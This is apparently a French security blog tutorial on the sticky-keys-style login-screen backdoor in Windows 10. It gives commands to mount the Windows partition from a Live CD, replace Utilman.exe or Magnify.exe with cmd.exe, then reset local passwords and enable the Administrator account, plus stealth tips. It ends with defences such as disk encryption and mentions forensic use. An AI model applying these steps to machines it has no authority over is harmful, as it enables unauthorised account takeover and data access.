Porte dérobée via l’écran d’accueil Windows

Divulgâchage : Pour vous montrer qu’un accès physique, c’est un accès administrateur… Voici un petit exemple de comment permettre de lancer un invite de commande à partir de l’écran d’accueil de Windows. On va monter la partition Windows dans un système Linux et ajouter une porte dérobée à l’écran d’accueil de Windows. Celle-ci nous fournira une invite de commande pour changer un mot de passe ou activer l’administrateur.

Un défaut souvent rencontré chez les informaticiens débutants dans l’analyse de risque, c’est de se focaliser sur les problèmes informatiques : Logiciels, systèmes et réseaux. Au détriment d’autres composantes pourtant essentiellement évidentes comme l’accès physique aux machines.

Avec un tout petit peu d’expérience, tous les consultants et experts vous diront la même chose :

Un attaquant ayant un accès physique est de facto administrateur de la machine.

Un expert cyber

Mais entre le dire et ressentir vraiment cette implication, il y a encore de la marge.

Aujourd’hui, nous allons donc tenter de la combler en vous montrant un exemple de ce qu’il est possible de faire, lorsque l’on dispose d’un accès physique à un ordinateur sous Windows 10.

Kincse_j @ pixabay

Monter le disque dur

Puisqu’on part du principe que vous avez un accès physique à la machine, et que vous êtes plutôt pressé, on va passer par un Live CD. N’importe lequel dans notre cas puisque nous n’utiliserons que des outils de bases (fdisk, mount et cp).

Comme vous allez le voir, cette technique marche à l’identique si vous prenez le temps de débrancher le disque pour le brancher sur une machine spécifique. Dans le cadre d’expertises, nous l’utilisons parfois sur des clones de disques.

Repérer le disque

Pour monter le bon disque, il faut d’abord savoir à quel fichier de périphérique il correspond. Pour ça, on utilise fdisk.

sudo fdisk -l

Un disque dur SATA ou SSD sera dans dev/sd…, un disque IDE /dev/hd…. Pour être sûr que c’est le bon, vous pouvez vérifiez le nom du disque (i.e. Windows en toutes lettres), la taille ou toute autre information utile.

Une fois que vous avez le disque, il faut trouver quelle est la partition principale. Pour ça, servez vous du système de fichier (i.e. NTFS) et de la taille. Les petites partitions (500 Mo à 1Go) ne nous intéressent pas. Mis à part cas rarissime, l’espace global ne sera réparti que sur une seule (c’est la bonne) ou deux (la première est alors souvent la bonne, la deuxième servant pour les fichiers persos).

Avec un disque de 50 Go et via un Live CD, voici ce que me retourne fdisk.

sudo fdisk -l
[...]
Disque /dev/sda : 50GiB, 53687091200 octets, 104857600 secteurs
Unités : secteur de 1 x 512 = 512 octets
Taille de secteur (logique / physique) : 512 octets / 512 octets
taille d'E/S (minimale / optimale) : 512 octets / 512 octets
Type d'étiquette de disque : dos
Identifiant de disque : 0xf20716a0

Périphérique Amorçage Début        Fin            Secteurs    Taille    Id    Type
/dev/sda1     *          2048          1026047        1024000        500M    7    HPFS/NTFS/exFAT
/dev/sda2              1026048    103149588    102123541    48,7G    7    HPFS/NTFS/exFAT
/dev/sda3              103151616    104853503    1701888        831M    27    WinRE masqué

Le disque /dev/sda est un bon candidat. Sa taille correspond (50GiB) et son nom est évocateur (dos). Sur ses trois partitions, deux sont trop petites, c’est donc /dev/sda2 qui nous intéresse.

Monter le disque

Pour faire les choses proprement lorsqu’on monte un disque, il faut généralement créer un répertoire pour servir de point de montage. Dans un soucis de propreté et d’automatisation, on utilise généralement le fichier fstab

Ici, on va aller au plus rapide et monter directement le disque dans un répertoire existant compatible (vide et ne servant pas à quelque chose d’utile). Si vous hésitez, vous pouvez aussi créer votre propre répertoire.

sudo mount <peripherique> <repertoire>

Pour revenir à notre exemple du disque de 50GiB et notre Ubuntu, on va directement utiliser /media.

sudo mount /dev/sda2 /media

Problèmes courants

Dans l’idéal, les lignes précédentes marchent toute seules sans problèmes. Mais comme le monde n’est pas toujours juste, voici quelques problèmes courants et leur solution.

Hibernation

Si Windows n’était pas éteint mais en veille lorsque vous avez démarré sur le live CD, i.e. il est en hibernation. Conséquence : Linux refusera de monter votre disque en Lecture/Ecriture. Vous obtiendrez alors le message d’erreur suivant :

The disk contains an unclean file system (0, 0).
Metadata kept in Windows cache, refused to mount.
Falling back to read-only mount because the NTFS partition is in an
unsafe state. Please resume and shutdown Windows fully (no hibernation
or fast restarting.)

Pour faire simple, vous pouvez arrêter votre live CD, redémarrer sous Windows et l’éteindre proprement. Le système étant alors dans un bon état, vous pourrez monter le disque.

Sinon, vous pouvez aussi utiliser ntfsfix sur le périphérique pour qu’il corrige lui-même les problèmes. Il faudra démonter la partition avant mais à part ça, c’est facile à utiliser :

sudo ntfsfix <peripherique>

Enfin, malgré tout ce que vous pourriez lire dans les pages de man, l’option remove_hiberfile de mount ne marche pas avec Windows 10. Vous êtes prévenu.

Unsupported reparse point

Depuis la mise à jour 14393 de Windows 10, le pilote NTFS libre NTFS-3G utilisé pour monter ces partitions n’est plus compatible et a un bug. Au lieu de permettre d’accéder à tous les fichiers de la partition Windows, certains fichiers sont en erreur (indiquée par «unsupported reparse point»).

ls -l /media/Windows/System32/cmd.exe
ls -l Windows/System32/cmd.exe
lrwxrwxrwx 2 .. .. 23 Aug 15 12:21 Windows/System32/cmd.exe -> unsupported reparse point

Vous devrez alors remplacer vos drivers par une version à jour.

Installer la porte dérobée

Pour faire simple, on va remplacer un des exécutables utilisables via l’écran d’accueil par l’invite de commande. On a le choix.

Les options d’ergonomie qui lancent le binaire C:\Windows\System32\Utilman.exe via l’icone suivante (une chaise roulante ?).

La loupe, pour être un peu plus furtif, laissez les options d’ergonomies inchangées et préférez changer la loupe (qui se lance via les options d’ergonomies). Son binaire est C:\Windows\System32\Magnify.exe.

La loupe

Par précaution, il peut être intéressant de sauvegarder les binaires originaux en les copiant ailleurs (utile pour restaurer en cas de besoin).

Ensuite, il s’agit juste de remplacer le binaire que vous avez choisi par celui de l’invite de commande.

cp \
    <pointdemontage>/Windows/System32/cmd.exe \
    <pointdemontage>/Windows/System32/Utilman.exe

Et voilà ! Dorénavant, à partir de l’écran d’accueil, en cliquant sur les options d’ergonomie, vous obtiendrez une invite de commande.

Et voilà !

Et ensuite ?

Vous pourriez vous dire qu’une invite de commande, ça n’est pas très utile. Voici donc quelques petites idées de choses à faire pour aller plus loin.

Modifier le mot de passe

Tout au moins, ceux des utilisateurs locaux. Pour usurper leurs sessions ou les empêcher de se connecter. Si le poste fait partie d’un domaine, il y a même des chances qu’un compte local existe mais ne soit jamais utilisé (autant de gagné pour la furtivité). Pour ça, une ligne de commande on ne peut plus simple :

net user <utilisateur> *

Activer l’administrateur local

Car par défaut, Windows crée un utilisateur administrateur mais par sécurité le désactivé. En le réactivant, vous pourrez l’utiliser pour vos connexions ultérieures. La commande n’est pas bien plus compliquée…

net user administrateur /active:yes

Dans l’écran d’accueil, vous pourrez alors utiliser ce compte pour vous connecter…

Connexion sans mot de passe à l’Administrateur

Tout remettre en état

Vous avez modifié votre Windows, vous avez un compte administrateur actif et vous lui avez changé son mot de passe. La porte dérobée ne vous sert plus vraiment et vous pourriez la supprimer.

Via Windows, remplacer le binaire par sa sauvegarde est pénible parce qu’il y a des protections (trusted installer) avec lesquelles il faut jouer. C’est possible, mais pénible.

Notre conseil, repassez sous linux, remonter le disque et faite la copie comme précédemment.

Et après ?

Si vous pensez que mettre un mot de passe sur votre BIOS pour interdire le démarrage sur un autre système, vous faites fausse route car pour peu que votre attaquant aient un peu de temps, il peut très bien ouvrir la tour et ensuite, au choix :

  1. Monter le disque sur sa propre machine,
  2. Retirer le cavalier CLEAR CMOS qui réinitialisera le BIOS.

Les deux seules solutions pour éviter qu’un attaquant n’accède à vos systèmes sont donc de contrôler l’accès et chiffrer le contenu.

  1. Contrôle d’accès au bâtiment ou à la pièce dans laquelle se trouve le poste, pour que seul le personnel autorisé puisse y accéder. Clés, badges, digicodes, reconnaissance biologique,… Par contre, inenvisageable en itinérance.
  2. Chiffrer le disque pour que, même avec un accès physique, il ne puisse être ni lu ni modifié. Il faudra alors activer Bitlocker s’il est disponible (i.e. Windows 10 professionnelle) ou utiliser des outils tiers (e.g. TrueCrypt ou VeraCrypt).

Notez que ces mesures ne rendent pas le système inexploitable (il y a toujours une petite porte quelque part) mais, en élevant le niveau, vous éliminez de plus en plus d’attaquants.

Personnellement, j’utilise ces portes dérobées sur des copies de disques dur effectuées à partir de scellés judiciaires, car il est rare que je dispose du mot de passe du mis en examen. Je suis donc bien contente que le chiffrement de disque dur ne soit pas un automatisme.